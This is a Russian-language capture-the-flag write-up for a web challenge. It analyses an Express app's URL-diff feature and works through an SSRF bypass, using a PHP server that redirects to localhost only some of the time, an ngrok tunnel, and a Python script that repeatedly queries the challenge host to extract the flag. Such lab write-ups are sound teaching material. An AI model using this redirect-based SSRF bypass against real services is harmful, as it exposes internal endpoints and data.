Ссылка:https://battle.cookiearena.org/challenges/web/difference-check
***
# Анализирование
Сначала мы просмотрим функцию веб-сайта, функция этого веб-сайта состоит в сравнении содержимого двух веб-сайтов.


Мы еще не знаем, какая уязвимость возникает на веб-сайте, но у нас есть код этого веб-сайта.
***
# Эксплуатация
Вот этот код этого веб-сайта, мы будем анализировать этот код, чтобы эксплуатировать веб-сайт.
```python!
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const ssrfFilter = require('ssrf-req-filter');
const fetch = require('node-fetch');
const Diff = require('diff');
const hbs = require('express-handlebars');
const port = 1337;
const flag = 'idek{REDACTED}';
app.use(bodyParser.urlencoded({ extended: true }));
app.engine('hbs', hbs.engine({
defaultLayout: 'main',
extname: '.hbs'
}));
app.set('view engine', 'hbs');
async function validifyURL(url){
valid = await fetch(url, {agent: ssrfFilter(url)})
.then((response) => {
return true
})
.catch(error => {
return false
});
return valid;
};
async function diffURLs(urls){
try{
const pageOne = await fetch(urls[0]).then((r => {return r.text()}));
const pageTwo = await fetch(urls[1]).then((r => {return r.text()}));
return Diff.diffLines(pageOne, pageTwo)
} catch {
return 'error!'
}
};
app.get('/', (req, res) => {
res.render('index');
});
app.get('/flag', (req, res) => {
if(req.connection.remoteAddress == '::1'){
res.send(flag)}
else{
res.send("Forbidden", 503)}
});
app.post('/diff', async (req, res) => {
let { url1, url2 } = req.body
if(typeof url1 !== 'string' || typeof url2 !== 'string'){
return res.send({error: 'Invalid format received'})
};
let urls = [url1, url2];
for(url of urls){
const valid = await validifyURL(url);
if(!valid){
return res.send({error: `Request to ${url} was denied`});
};
};
const difference = await diffURLs(urls);
res.render('diff', {
lines: difference
});
});
app.listen(port, () => {
console.log(`App listening at http://localhost:${port}`)
});
```
Это endpoint `/flag` для получение флага, но необходимо обойти аутентификацию `localhost` и порт `1337`. Я уверен, что это уязвимость SSRF.
```py!
app.get('/flag', (req, res) => {
if(req.connection.remoteAddress == '::1'){
res.send(flag)}
else{
res.send("Forbidden", 503)}
});
```
Нужно обратить внимание на функцию `validifyURL()`. Эта функция защищает от уязвимости SSRF. Если переменная `valid` имеет значение через метод `fetch`, то вернуть `true` иначе `false`.
```py!
async function validifyURL(url){
valid = await fetch(url, {agent: ssrfFilter(url)})
.then((response) => {
return true
})
.catch(error => {
return false
});
return valid;
};
```
Эта функция `diffURLs()` просто извлекает содержамое веб-сайтов с помощью метода `fetch`.
```python!
async function diffURLs(urls){
try{
const pageOne = await fetch(urls[0]).then((r => {return r.text()}));
const pageTwo = await fetch(urls[1]).then((r => {return r.text()}));
return Diff.diffLines(pageOne, pageTwo)
} catch {
return 'error!'
}
};
```
Это путь `/diff` , на этом пути проверяется, являются ли `url1` и `url2` `string` или нет, то вернуть `Invalid format received`. Затем использовать функцию validifyURL() чтобы проверить вводимые пользователем и наконец использует функцию `diffURLs()`, чтобы извлечь содержимое двух веб-сайтов.
```python!
app.post('/diff', async (req, res) => {
let { url1, url2 } = req.body
if(typeof url1 !== 'string' || typeof url2 !== 'string'){
return res.send({error: 'Invalid format received'})
};
let urls = [url1, url2];
for(url of urls){
const valid = await validifyURL(url);
if(!valid){
return res.send({error: `Request to ${url} was denied`});
};
};
const difference = await diffURLs(urls);
res.render('diff', {
lines: difference
});
});
```
У нас есть несколько основных пунктов для эксплуатации уязвимости:
- Нельзя обойти аутентификацию `localhost` в функции `validifyURL()`.
- Будет 2 `fetch` для каждого `url`.
- Необходим доступ к пути `/flag` для получение флага.
Из основных пунктов выше:
- Нужно создать веб-сервер, который каждый "fetch" из двух функций `validifyURL()` и `diffURLs()` может получить доступ к `http://localhost:1337/flag`.
- Обязательно получит флаг через уязвимости SSRF
Вот код веб-сервера написанный на языке PHP `php -S 0.0.0.0:1338`:
```php!
<?php
$tmp = rand(0,1);
if ($tmp == 1) {
header("Location: http://localhost:1337/flag");
}
```

- Нужно обратить внимание на код, что когда url веб-сервера проходит через функцию `validifyURL()`, может переменная `$tmp=0`, тогда может обойти функцию `validifyURL()`. Затем он проходит через функцию `diffURLs()`, переменная `$tmp=1` и тогда может доступ к `http://localhost:1337/flag`.
- Мы используем инструмент ngrok для создания подключения веб-сервера из local в интернет: `ngrok http 1338`

**Далее, мы создаем следующий инструмент:**
```python!
import requests
url = "http://103.97.125.53:32344/diff"
data = {
"url1": "https://24bd-95-220-60-83.ngrok-free.app",
"url2": "http://google.com"
}
# Отправить запров 10 раз
for _ in range(10):
res = requests.post(url, data=data)
flag = res.text
if "CHH{" in flag:
start = flag.index("CHH{")
end = flag.index("}",start) + 1
print(flag[start:end])
break
else:
print(f"Request {_}:Nothing\n")
```
Вот мы отправим два url на сайт, затем отфильтруем флаг с начальным индексом и конечным индексом.

***
# Заключение
Спасибо за прочтение и увидимся в следующем посте. Пока!